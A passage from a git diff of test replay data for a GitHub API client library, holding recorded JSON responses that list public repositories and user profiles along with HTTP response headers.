/repos/xpaulbettsx/yikes/subscribers","subscription_url":"https://api.github.com/repos/xpaulbettsx/yikes/subscription","commits_url":"https://api.github.com/repos/xpaulbettsx/yikes/commits{/sha}","git_commits_url":"https://api.github.com/repos/xpaulbettsx/yikes/git/commits{/sha}","comments_url":"https://api.github.com/repos/xpaulbettsx/yikes/comments{/number}","issue_comment_url":"https://api.github.com/repos/xpaulbettsx/yikes/issues/comments/{number}","contents_url":"https://api.github.com/repos/xpaulbettsx/yikes/contents/{+path}","compare_url":"https://api.github.com/repos/xpaulbettsx/yikes/compare/{base}...{head}","merges_url":"https://api.github.com/repos/xpaulbettsx/yikes/merges","archive_url":"https://api.github.com/repos/xpaulbettsx/yikes/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/xpaulbettsx/yikes/downloads","issues_url":"https://api.github.com/repos/xpaulbettsx/yikes/issues{/number}","pulls_url":"https://api.github.com/repos/xpaulbettsx/yikes/pulls{/number}","milestones_url":"https://api.github.com/repos/xpaulbettsx/yikes/milestones{/number}","notifications_url":"https://api.github.com/repos/xpaulbettsx/yikes/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/xpaulbettsx/yikes/labels{/name}"},{"id":1602,"name":"erlenmeyer","full_name":"mojombo/erlenmeyer","owner":{"login":"mojombo","id":1,"avatar_url":"https://2.gravatar.com/avatar/25c7c18223fb42a4c6ae1c8db6f50f9b?d=https%3A%2F%2Fidenticons.github.com%2Fc4ca4238a0b923820dcc509a6f75849b.png","gravatar_id":"25c7c18223fb42a4c6ae1c8db6f50f9b","url":"https://api.github.com/users/mojombo","html_url":"https://github.com/mojombo","followers_url":"https://api.github.com/users/mojombo/followers","following_url":"https://api.github.com/users/mojombo/following{/other_user}","gists_url":"https://api.github.com/users/mojombo/gists{/gist_id}","starred_url":"https://api.github.com/users/mojombo/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/mojombo/subscriptions","organizations_url":"https://api.github.com/users/mojombo/orgs","repos_url":"https://api.github.com/users/mojombo/repos","events_url":"https://api.github.com/users/mojombo/events{/privacy}","received_events_url":"https://api.github.com/users/mojombo/received_events","type":"User"},"private":false,"html_url":"https://github.com/mojombo/erlenmeyer","description":"A binding between erlang and mzscheme.","fork":true,"url":"https://api.github.com/repos/mojombo/erlenmeyer","forks_url":"https://api.github.com/repos/mojombo/erlenmeyer/forks","keys_url":"https://api.github.com/repos/mojombo/erlenmeyer/keys{/key_id}","collaborators_url":"https://api.github.com/repos/mojombo/erlenmeyer/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/mojombo/erlenmeyer/teams","hooks_url":"https://api.github.com/repos/mojombo/erlenmeyer/hooks","issue_events_url":"https://api.github.com/repos/mojombo/erlenmeyer/issues/events{/number}","events_url":"https://api.github.com/repos/mojombo/erlenmeyer/events","assignees_url":"https://api.github.com/repos/mojombo/erlenmeyer/assignees{/user}","branches_url":"https://api.github.com/repos/mojombo/erlenmeyer/branches{/branch}","tags_url":"https://api.github.com/repos/mojombo/erlenmeyer/tags","blobs_url":"https://api.github.com/repos/mojombo/erlenmeyer/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/mojombo/erlenmeyer/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/mojombo/erlenmeyer/git/refs{/sha}","trees_url":"https://api.github.com/repos/mojombo/erlenmeyer/git/trees{/sha}","statuses_url":"https://api.github.com/repos/mojombo/erlenmeyer/statuses/{sha}","languages_url":"https://api.github.com/repos/mojombo/erlenmeyer/languages","stargazers_url":"https://api.github.com/repos/mojombo/erlenmeyer/stargazers","contributors_url":"https://api.github.com/repos/mojombo/erlenmeyer/contributors","subscribers_url":"https://api.github.com/repos/mojombo/erlenmeyer/subscribers","subscription_url":"https://api.github.com/repos/mojombo/erlenmeyer/subscription","commits_url":"https://api.github.com/repos/mojombo/erlenmeyer/commits{/sha}","git_commits_url":"https://api.github.com/repos/mojombo/erlenmeyer/git/commits{/sha}","comments_url":"https://api.github.com/repos/mojombo/erlenmeyer/comments{/number}","issue_comment_url":"https://api.github.com/repos/mojombo/erlenmeyer/issues/comments/{number}","contents_url":"https://api.github.com/repos/mojombo/erlenmeyer/contents/{+path}","compare_url":"https://api.github.com/repos/mojombo/erlenmeyer/compare/{base}...{head}","merges_url":"https://api.github.com/repos/mojombo/erlenmeyer/merges","archive_url":"https://api.github.com/repos/mojombo/erlenmeyer/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/mojombo/erlenmeyer/downloads","issues_url":"https://api.github.com/repos/mojombo/erlenmeyer/issues{/number}","pulls_url":"https://api.github.com/repos/mojombo/erlenmeyer/pulls{/number}","milestones_url":"https://api.github.com/repos/mojombo/erlenmeyer/milestones{/number}","notifications_url":"https://api.github.com/repos/mojombo/erlenmeyer/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/mojombo/erlenmeyer/labels{/name}"},{"id":1603,"name":"python-tool","full_name":"alexeysudachen/python-tool","owner":{"login":"alexeysudachen","id":1428,"avatar_url":"https://2.gravatar.com/avatar/de4e1b989525c878e34c1910aab27dfc?d=https%3A%2F%2Fidenticons.github.com%2F0663a4ddceacb40b095eda264a85f15c.png","gravatar_id":"de4e1b989525c878e34c1910aab27dfc","url":"https://api.github.com/users/alexeysudachen","html_url":"https://github.com/alexeysudachen","followers_url":"https://api.github.com/users/alexeysudachen/followers","following_url":"https://api.github.com/users/alexeysudachen/following{/other_user}","gists_url":"https://api.github.com/users/alexeysudachen/gists{/gist_id}","starred_url":"https://api.github.com/users/alexeysudachen/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/alexeysudachen/subscriptions","organizations_url":"https://api.github.com/users/alexeysudachen/orgs","repos_url":"https://api.github.com/users/alexeysudachen/repos","events_url":"https://api.github.com/users/alexeysudachen/events{/privacy}","received_events_url":"https://api.github.com/users/alexeysudachen/received_events","type":"User"},"private":false,"html_url":"https://github.com/alexeysudachen/python-tool","description":"some python related utilities like py2cc","fork":false,"url":"https://api.github.com/repos/alexeysudachen/python-tool","forks_url":"https://api.github.com/repos/alexeysudachen/python-tool/forks","keys_url":"https://api.github.com/repos/alexeysudachen/python-tool/keys{/key_id}","collaborators_url":"https://api.github.com/repos/alexeysudachen/python-tool/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/alexeysudachen/python-tool/teams","hooks_url":"https://api.github.com/repos/alexeysudachen/python-tool/hooks","issue_events_url":"https://api.github.com/repos/alexeysudachen/python-tool/issues/events{/number}","events_url":"https://api.github.com/repos/alexeysudachen/python-tool/events","assignees_url":"https://api.github.com/repos/alexeysudachen/python-tool/assignees{/user}","branches_url":"https://api.github.com/repos/alexeysudachen/python-tool/branches{/branch}","tags_url":"https://api.github.com/repos/alexeysudachen/python-tool/tags","blobs_url":"https://api.github.com/repos/alexeysudachen/python-tool/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/alexeysudachen/python-tool/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/alexeysudachen/python-tool/git/refs{/sha}","trees_url":"https://api.github.com/repos/alexeysudachen/python-tool/git/trees{/sha}","statuses_url":"https://api.github.com/repos/alexeysudachen/python-tool/statuses/{sha}","languages_url":"https://api.github.com/repos/alexeysudachen/python-tool/languages","stargazers_url":"https://api.github.com/repos/alexeysudachen/python-tool/stargazers","contributors_url":"https://api.github.com/repos/alexeysudachen/python-tool/contributors","subscribers_url":"https://api.github.com/repos/alexeysudachen/python-tool/subscribers","subscription_url":"https://api.github.com/repos/alexeysudachen/python-tool/subscription","commits_url":"https://api.github.com/repos/alexeysudachen/python-tool/commits{/sha}","git_commits_url":"https://api.github.com/repos/alexeysudachen/python-tool/git/commits{/sha}","comments_url":"https://api.github.com/repos/alexeysudachen/python-tool/comments{/number}","issue_comment_url":"https://api.github.com/repos/alexeysudachen/python-tool/issues/comments/{number}","contents_url":"https://api.github.com/repos/alexeysudachen/python-tool/contents/{+path}","compare_url":"https://api.github.com/repos/alexeysudachen/python-tool/compare/{base}...{head}","merges_url":"https://api.github.com/repos/alexeysudachen/python-tool/merges","archive_url":"https://api.github.com/repos/alexeysudachen/python-tool/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/alexeysudachen/python-tool/downloads","issues_url":"https://api.github.com/repos/alexeysudachen/python-tool/issues{/number}","pulls_url":"https://api.github.com/repos/alexeysudachen/python-tool/pulls{/number}","milestones_url":"https://api.github.com/repos/alexeysudachen/python-tool/milestones{/number}","notifications_url":"https://api.github.com/repos/alexeysudachen/python-tool/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/alexeysudachen/python-tool/labels{/name}"},{"id":1611,"name":"tableau","full_name":"bousquet/tableau","owner":{"login":"bousquet","id":1347,"avatar_url":"https://0.gravatar.com/avatar/7491ae9acee0ca6a37d078b87ec7cd7a?d=https%3A%2F%2Fidenticons.github.com%2F0e55666a4ad822e0e34299df3591d979.png","gravatar_id":"7491ae9acee0ca6a37d078b87ec7cd7a","url":"https://api.github.com/users/bousquet","html_url":"https://github.com/bousquet","followers_url":"https://api.github.com/users/bousquet/followers","following_url":"https://api.github.com/users/bousquet/following{/other_user}","gists_url":"https://api.github.com/users/bousquet/gists{/gist_id}","starred_url":"https://api.github.com/users/bousquet/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bousquet/subscriptions","organizations_url":"https://api.github.com/users/bousquet/orgs","repos_url":"https://api.github.com/users/bousquet/repos","events_url":"https://api.github.com/users/bousquet/events{/privacy}","received_events_url":"https://api.github.com/users/bousquet/received_events","type":"User"},"private":false,"html_url":"https://github.com/bousquet/tableau","description":"Open source photo gallery in Rails","fork":false,"url":"https://api.github.com/repos/bousquet/tableau","forks_url":"https://api.github.com/repos/bousquet/tableau/forks","keys_url":"https://api.github.com/repos/bousquet/tableau/keys{/key_id}","collaborators_url":"https://api.github.com/repos/bousquet/tableau/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/bousquet/tableau/teams","hooks_url":"https://api.github.com/repos/bousquet/tableau/hooks","issue_events_url":"https://api.github.com/repos/bousquet/tableau/issues/events{/number}","events_url":"https://api.github.com/repos/bousquet/tableau/events","assignees_url":"https://api.github.com/repos/bousquet/tableau/assignees{/user}","branches_url":"https://api.github.com/repos/bousquet/tableau/branches{/branch}","tags_url":"https://api.github.com/repos/bousquet/tableau/tags","blobs_url":"https://api.github.com/repos/bousquet/tableau/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/bousquet/tableau/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/bousquet/tableau/git/refs{/sha}","trees_url":"https://api.github.com/repos/bousquet/tableau/git/trees{/sha}","statuses_url":"https://api.github.com/repos/bousquet/tableau/statuses/{sha}","languages_url":"https://api.github.com/repos/bousquet/tableau/languages","stargazers_url":"https://api.github.com/repos/bousquet/tableau/stargazers","contributors_url":"https://api.github.com/repos/bousquet/tableau/contributors","subscribers_url":"https://api.github.com/repos/bousquet/tableau/subscribers","subscription_url":"https://api.github.com/repos/bousquet/tableau/subscription","commits_url":"https://api.github.com/repos/bousquet/tableau/commits{/sha}","git_commits_url":"https://api.github.com/repos/bousquet/tableau/git/commits{/sha}","comments_url":"https://api.github.com/repos/bousquet/tableau/comments{/number}","issue_comment_url":"https://api.github.com/repos/bousquet/tableau/issues/comments/{number}","contents_url":"https://api.github.com/repos/bousquet/tableau/contents/{+path}","compare_url":"https://api.github.com/repos/bousquet/tableau/compare/{base}...{head}","merges_url":"https://api.github.com/repos/bousquet/tableau/merges","archive_url":"https://api.github.com/repos/bousquet/tableau/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/bousquet/tableau/downloads","issues_url":"https://api.github.com/repos/bousquet/tableau/issues{/number}","pulls_url":"https://api.github.com/repos/bousquet/tableau/pulls{/number}","milestones_url":"https://api.github.com/repos/bousquet/tableau/milestones{/number}","notifications_url":"https://api.github.com/repos/bousquet/tableau/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/bousquet/tableau/labels{/name}"},{"id":1613,"name":"blue-channel","full_name":"davemerwin/blue-channel","owner":{"login":"davemerwin","id":1435,"avatar_url":"https://0.gravatar.com/avatar/3f3cd92849c7b4332396a4f5e4a97162?d=https%3A%2F%2Fidenticons.github.com%2F1f3202d820180a39f736f20fce790de8.png","gravatar_id":"3f3cd92849c7b4332396a4f5e4a97162","url":"https://api.github.com/users/davemerwin","html_url":"https://github.com/davemerwin","followers_url":"https://api.github.com/users/davemerwin/followers","following_url":"https://api.github.com/users/davemerwin/following{/other_user}","gists_url":"https://api.github.com/users/davemerwin/gists{/gist_id}","starred_url":"https://api.github.com/users/davemerwin/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/davemerwin/subscriptions","organizations_url":"https://api.github.com/users/davemerwin/orgs","repos_url":"https://api.github.com/users/davemerwin/repos","events_url":"https://api.github.com/users/davemerwin/events{/privacy}","received_events_url":"https://api.github.com/users/davemerwin/received_events","type":"User"},"private":false,"html_url":"https://github.com/davemerwin/blue-channel","description":"A content management system developed in Django, jQuery and 960","fork":false,"url":"https://api.github.com/repos/davemerwin/blue-channel","forks_url":"https://api.github.com/repos/davemerwin/blue-channel/forks","keys_url":"https://api.github.com/repos/davemerwin/blue-channel/keys{/key_id}","collaborators_url":"https://api.github.com/repos/davemerwin/blue-channel/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/davemerwin/blue-channel/teams","hooks_url":"https://api.github.com/repos/davemerwin/blue-channel/hooks","issue_events_url":"https://api.github.com/repos/davemerwin/blue-channel/issues/events{/number}","events_url":"https://api.github.com/repos/davemerwin/blue-channel/events","assignees_url":"https://api.github.com/repos/davemerwin/blue-channel/assignees{/user}","branches_url":"https://api.github.com/repos/davemerwin/blue-channel/branches{/branch}","tags_url":"https://api.github.com/repos/davemerwin/blue-channel/tags","blobs_url":"https://api.github.com/repos/davemerwin/blue-channel/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/davemerwin/blue-channel/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/davemerwin/blue-channel/git/refs{/sha}","trees_url":"https://api.github.com/repos/davemerwin/blue-channel/git/trees{/sha}","statuses_url":"https://api.github.com/repos/davemerwin/blue-channel/statuses/{sha}","languages_url":"https://api.github.com/repos/davemerwin/blue-channel/languages","stargazers_url":"https://api.github.com/repos/davemerwin/blue-channel/stargazers","contributors_url":"https://api.github.com/repos/davemerwin/blue-channel/contributors","subscribers_url":"https://api.github.com/repos/davemerwin/blue-channel/subscribers","subscription_url":"https://api.github.com/repos/davemerwin/blue-channel/subscription","commits_url":"https://api.github.com/repos/davemerwin/blue-channel/commits{/sha}","git_commits_url":"https://api.github.com/repos/davemerwin/blue-channel/git/commits{/sha}","comments_url":"https://api.github.com/repos/davemerwin/blue-channel/comments{/number}","issue_comment_url":"https://api.github.com/repos/davemerwin/blue-channel/issues/comments/{number}","contents_url":"https://api.github.com/repos/davemerwin/blue-channel/contents/{+path}","compare_url":"https://api.github.com/repos/davemerwin/blue-channel/compare/{base}...{head}","merges_url":"https://api.github.com/repos/davemerwin/blue-channel/merges","archive_url":"https://api.github.com/repos/davemerwin/blue-channel/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/davemerwin/blue-channel/downloads","issues_url":"https://api.github.com/repos/davemerwin/blue-channel/issues{/number}","pulls_url":"https://api.github.com/repos/davemerwin/blue-channel/pulls{/number}","milestones_url":"https://api.github.com/repos/davemerwin/blue-channel/milestones{/number}","notifications_url":"https://api.github.com/repos/davemerwin/blue-channel/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/davemerwin/blue-channel/labels{/name}"},{"id":1615,"name":"weshowthemoney-com","full_name":"maborg/weshowthemoney-com","owner":{"login":"maborg","id":1446,"avatar_url":"https://2.gravatar.com/avatar/f86675c1ed32bf619a669a4b8bc29d2c?d=https%3A%2F%2Fidenticons.github.com%2F8fb21ee7a2207526da55a679f0332de2.png","gravatar_id":"f86675c1ed32bf619a669a4b8bc29d2c","url":"https://api.github.com/users/maborg","html_url":"https://github.com/maborg","followers_url":"https://api.github.com/users/maborg/followers","following_url":"https://api.github.com/users/maborg/following{/other_user}","gists_url":"https://api.github.com/users/maborg/gists{/gist_id}","starred_url":"https://api.github.com/users/maborg/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/maborg/subscriptions","organizations_url":"https://api.github.com/users/maborg/orgs","repos_url":"https://api.github.com/users/maborg/repos","events_url":"https://api.github.com/users/maborg/events{/privacy}","received_events_url":"https://api.github.com/users/maborg/received_events","type":"User"},"private":false,"html_url":"https://github.com/maborg/weshowthemoney-com","description":"a visual approach to the us election","fork":false,"url":"https://api.github.com/repos/maborg/weshowthemoney-com","forks_url":"https://api.github.com/repos/maborg/weshowthemoney-com/forks","keys_url":"https://api.github.com/repos/maborg/weshowthemoney-com/keys{/key_id}","collaborators_url":"https://api.github.com/repos/maborg/weshowthemoney-com/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/maborg/weshowthemoney-com/teams","hooks_url":"https://api.github.com/repos/maborg/weshowthemoney-com/hooks","issue_events_url":"https://api.github.com/repos/maborg/weshowthemoney-com/issues/events{/number}","events_url":"https://api.github.com/repos/maborg/weshowthemoney-com/events","assignees_url":"https://api.github.com/repos/maborg/weshowthemoney-com/assignees{/user}","branches_url":"https://api.github.com/repos/maborg/weshowthemoney-com/branches{/branch}","tags_url":"https://api.github.com/repos/maborg/weshowthemoney-com/tags","blobs_url":"https://api.github.com/repos/maborg/weshowthemoney-com/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/maborg/weshowthemoney-com/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/maborg/weshowthemoney-com/git/refs{/sha}","trees_url":"https://api.github.com/repos/maborg/weshowthemoney-com/git/trees{/sha}","statuses_url":"https://api.github.com/repos/maborg/weshowthemoney-com/statuses/{sha}","languages_url":"https://api.github.com/repos/maborg/weshowthemoney-com/languages","stargazers_url":"https://api.github.com/repos/maborg/weshowthemoney-com/stargazers","contributors_url":"https://api.github.com/repos/maborg/weshowthemoney-com/contributors","subscribers_url":"https://api.github.com/repos/maborg/weshowthemoney-com/subscribers","subscription_url":"https://api.github.com/repos/maborg/weshowthemoney-com/subscription","commits_url":"https://api.github.com/repos/maborg/weshowthemoney-com/commits{/sha}","git_commits_url":"https://api.github.com/repos/maborg/weshowthemoney-com/git/commits{/sha}","comments_url":"https://api.github.com/repos/maborg/weshowthemoney-com/comments{/number}","issue_comment_url":"https://api.github.com/repos/maborg/weshowthemoney-com/issues/comments/{number}","contents_url":"https://api.github.com/repos/maborg/weshowthemoney-com/contents/{+path}","compare_url":"https://api.github.com/repos/maborg/weshowthemoney-com/compare/{base}...{head}","merges_url":"https://api.github.com/repos/maborg/weshowthemoney-com/merges","archive_url":"https://api.github.com/repos/maborg/weshowthemoney-com/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/maborg/weshowthemoney-com/downloads","issues_url":"https://api.github.com/repos/maborg/weshowthemoney-com/issues{/number}","pulls_url":"https://api.github.com/repos/maborg/weshowthemoney-com/pulls{/number}","milestones_url":"https://api.github.com/repos/maborg/weshowthemoney-com/milestones{/number}","notifications_url":"https://api.github.com/repos/maborg/weshowthemoney-com/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/maborg/weshowthemoney-com/labels{/name}"},{"id":1618,"name":"marshmallow","full_name":"bousquet/marshmallow","owner":{"login":"bousquet","id":1347,"avatar_url":"https://0.gravatar.com/avatar/7491ae9acee0ca6a37d078b87ec7cd7a?d=https%3A%2F%2Fidenticons.github.com%2F0e55666a4ad822e0e34299df3591d979.png","gravatar_id":"7491ae9acee0ca6a37d078b87ec7cd7a","url":"https://api.github.com/users/bousquet","html_url":"https://github.com/bousquet","followers_url":"https://api.github.com/users/bousquet/followers","following_url":"https://api.github.com/users/bousquet/following{/other_user}","gists_url":"https://api.github.com/users/bousquet/gists{/gist_id}","starred_url":"https://api.github.com/users/bousquet/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bousquet/subscriptions","organizations_url":"https://api.github.com/users/bousquet/orgs","repos_url":"https://api.github.com/users/bousquet/repos","events_url":"https://api.github.com/users/bousquet/events{/privacy}","received_events_url":"https://api.github.com/users/bousquet/received_events","type":"User"},"private":false,"html_url":"https://github.com/bousquet/marshmallow","description":"Campfire chat bot in Ruby","fork":false,"url":"https://api.github.com/repos/bousquet/marshmallow","forks_url":"https://api.github.com/repos/bousquet/marshmallow/forks","keys_url":"https://api.github.com/repos/bousquet/marshmallow/keys{/key_id}","collaborators_url":"https://api.github.com/repos/bousquet/marshmallow/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/bousquet/marshmallow/teams","hooks_url":"https://api.github.com/repos/bousquet/marshmallow/hooks","issue_events_url":"https://api.github.com/repos/bousquet/marshmallow/issues/events{/number}","events_url":"https://api.github.com/repos/bousquet/marshmallow/events","assignees_url":"https://api.github.com/repos/bousquet/marshmallow/assignees{/user}","branches_url":"https://api.github.com/repos/bousquet/marshmallow/branches{/branch}","tags_url":"https://api.github.com/repos/bousquet/marshmallow/tags","blobs_url":"https://api.github.com/repos/bousquet/marshmallow/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/bousquet/marshmallow/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/bousquet/marshmallow/git/refs{/sha}","trees_url":"https://api.github.com/repos/bousquet/marshmallow/git/trees{/sha}","statuses_url":"https://api.github.com/repos/bousquet/marshmallow/statuses/{sha}","languages_url":"https://api.github.com/repos/bousquet/marshmallow/languages","stargazers_url":"https://api.github.com/repos/bousquet/marshmallow/stargazers","contributors_url":"https://api.github.com/repos/bousquet/marshmallow/contributors","subscribers_url":"https://api.github.com/repos/bousquet/marshmallow/subscribers","subscription_url":"https://api.github.com/repos/bousquet/marshmallow/subscription","commits_url":"https://api.github.com/repos/bousquet/marshmallow/commits{/sha}","git_commits_url":"https://api.github.com/repos/bousquet/marshmallow/git/commits{/sha}","comments_url":"https://api.github.com/repos/bousquet/marshmallow/comments{/number}","issue_comment_url":"https://api.github.com/repos/bousquet/marshmallow/issues/comments/{number}","contents_url":"https://api.github.com/repos/bousquet/marshmallow/contents/{+path}","compare_url":"https://api.github.com/repos/bousquet/marshmallow/compare/{base}...{head}","merges_url":"https://api.github.com/repos/bousquet/marshmallow/merges","archive_url":"https://api.github.com/repos/bousquet/marshmallow/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/bousquet/marshmallow/downloads","issues_url":"https://api.github.com/repos/bousquet/marshmallow/issues{/number}","pulls_url":"https://api.github.com/repos/bousquet/marshmallow/pulls{/number}","milestones_url":"https://api.github.com/repos/bousquet/marshmallow/milestones{/number}","notifications_url":"https://api.github.com/repos/bousquet/marshmallow/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/bousquet/marshmallow/labels{/name}"},{"id":1630,"name":"tarn","full_name":"jdp/tarn","owner":{"login":"jdp","id":574,"avatar_url":"https://1.gravatar.com/avatar/07b06bbb5ecda29c3744c1be35656247?d=https%3A%2F%2Fidenticons.github.com%2Ff0e52b27a7a5d6a1a87373dffa53dbe5.png","gravatar_id":"07b06bbb5ecda29c3744c1be35656247","url":"https://api.github.com/users/jdp","html_url":"https://github.com/jdp","followers_url":"https://api.github.com/users/jdp/followers","following_url":"https://api.github.com/users/jdp/following{/other_user}","gists_url":"https://api.github.com/users/jdp/gists{/gist_id}","starred_url":"https://api.github.com/users/jdp/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jdp/subscriptions","organizations_url":"https://api.github.com/users/jdp/orgs","repos_url":"https://api.github.com/users/jdp/repos","events_url":"https://api.github.com/users/jdp/events{/privacy}","received_events_url":"https://api.github.com/users/jdp/received_events","type":"User"},"private":false,"html_url":"https://github.com/jdp/tarn","description":"A completely Lua-scriptable roguelike engine","fork":false,"url":"https://api.github.com/repos/jdp/tarn","forks_url":"https://api.github.com/repos/jdp/tarn/forks","keys_url":"https://api.github.com/repos/jdp/tarn/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jdp/tarn/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jdp/tarn/teams","hooks_url":"https://api.github.com/repos/jdp/tarn/hooks","issue_events_url":"https://api.github.com/repos/jdp/tarn/issues/events{/number}","events_url":"https://api.github.com/repos/jdp/tarn/events","assignees_url":"https://api.github.com/repos/jdp/tarn/assignees{/user}","branches_url":"https://api.github.com/repos/jdp/tarn/branches{/branch}","tags_url":"https://api.github.com/repos/jdp/tarn/tags","blobs_url":"https://api.github.com/repos/jdp/tarn/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jdp/tarn/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jdp/tarn/git/refs{/sha}","trees_url":"https://api.github.com/repos/jdp/tarn/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jdp/tarn/statuses/{sha}","languages_url":"https://api.github.com/repos/jdp/tarn/languages","stargazers_url":"https://api.github.com/repos/jdp/tarn/stargazers","contributors_url":"https://api.github.com/repos/jdp/tarn/contributors","subscribers_url":"https://api.github.com/repos/jdp/tarn/subscribers","subscription_url":"https://api.github.com/repos/jdp/tarn/subscription","commits_url":"https://api.github.com/repos/jdp/tarn/commits{/sha}","git_commits_url":"https://api.github.com/repos/jdp/tarn/git/commits{/sha}","comments_url":"https://api.github.com/repos/jdp/tarn/comments{/number}","issue_comment_url":"https://api.github.com/repos/jdp/tarn/issues/comments/{number}","contents_url":"https://api.github.com/repos/jdp/tarn/contents/{+path}","compare_url":"https://api.github.com/repos/jdp/tarn/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jdp/tarn/merges","archive_url":"https://api.github.com/repos/jdp/tarn/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jdp/tarn/downloads","issues_url":"https://api.github.com/repos/jdp/tarn/issues{/number}","pulls_url":"https://api.github.com/repos/jdp/tarn/pulls{/number}","milestones_url":"https://api.github.com/repos/jdp/tarn/milestones{/number}","notifications_url":"https://api.github.com/repos/jdp/tarn/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jdp/tarn/labels{/name}"}] - diff --git a/tests/ReplayData/Github.testGetUserById.txt b/tests/ReplayData/Github.testGetUserById.txt index 6a39b41a63..5603abcd99 100644 --- a/tests/ReplayData/Github.testGetUserById.txt +++ b/tests/ReplayData/Github.testGetUserById.txt @@ -8,4 +8,3 @@ None 200 [('Date', 'Sat, 12 Sep 2020 12:26:09 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Server', 'GitHub.com'), ('Status', '200 OK'), ('Cache-Control', 'public, max-age=60, s-maxage=60'), ('Vary', 'Accept, Accept-Encoding, Accept, X-Requested-With, Accept-Encoding'), ('ETag', 'W/"2409e6c518ebe03ecde9243734f63f93"'), ('Last-Modified', 'Sun, 23 Aug 2020 14:28:27 GMT'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('X-RateLimit-Limit', '60'), ('X-RateLimit-Remaining', '59'), ('X-RateLimit-Reset', '1599917169'), ('X-RateLimit-Used', '1'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'C442:11459:3E06E4D:4A2F023:5F5CBE61')] {"login":"octocat","id":583231,"node_id":"MDQ6VXNlcjU4MzIzMQ==","avatar_url":"https://avatars3.githubusercontent.com/u/583231?v=4","gravatar_id":"","url":"https://api.github.com/users/octocat","html_url":"https://github.com/octocat","followers_url":"https://api.github.com/users/octocat/followers","following_url":"https://api.github.com/users/octocat/following{/other_user}","gists_url":"https://api.github.com/users/octocat/gists{/gist_id}","starred_url":"https://api.github.com/users/octocat/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/octocat/subscriptions","organizations_url":"https://api.github.com/users/octocat/orgs","repos_url":"https://api.github.com/users/octocat/repos","events_url":"https://api.github.com/users/octocat/events{/privacy}","received_events_url":"https://api.github.com/users/octocat/received_events","type":"User","site_admin":false,"name":"The Octocat","company":"@github","blog":"https://github.blog","location":"San Francisco","email":null,"hireable":null,"bio":null,"twitter_username":null,"public_repos":8,"public_gists":8,"followers":3222,"following":9,"created_at":"2011-01-25T18:44:36Z","updated_at":"2020-08-23T14:28:27Z"} - diff --git a/tests/ReplayData/Github.testGetUsers.txt b/tests/ReplayData/Github.testGetUsers.txt index c655af2d39..07c2b27aeb 100644 --- a/tests/ReplayData/Github.testGetUsers.txt +++ b/tests/ReplayData/Github.testGetUsers.txt @@ -19,4 +19,3 @@ None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4996'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('access-control-expose-headers', 'ETag, Link, X-RateLimit-Limit, X-RateLimit-Remaining, X-OAuth-Scopes, X-Accepted-OAuth-Scopes'), ('cache-control', 'max-age=0, private, must-revalidate'), ('vary', 'Accept-Encoding'), ('content-length', '99066'), ('server', 'GitHub.com'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('link', '; rel="next", ; rel="first"'), ('etag', '"041061592b07c3c1b5b3063baec8316c"'), ('access-control-allow-credentials', 'true'), ('date', 'Tue, 18 Jun 2013 15:43:09 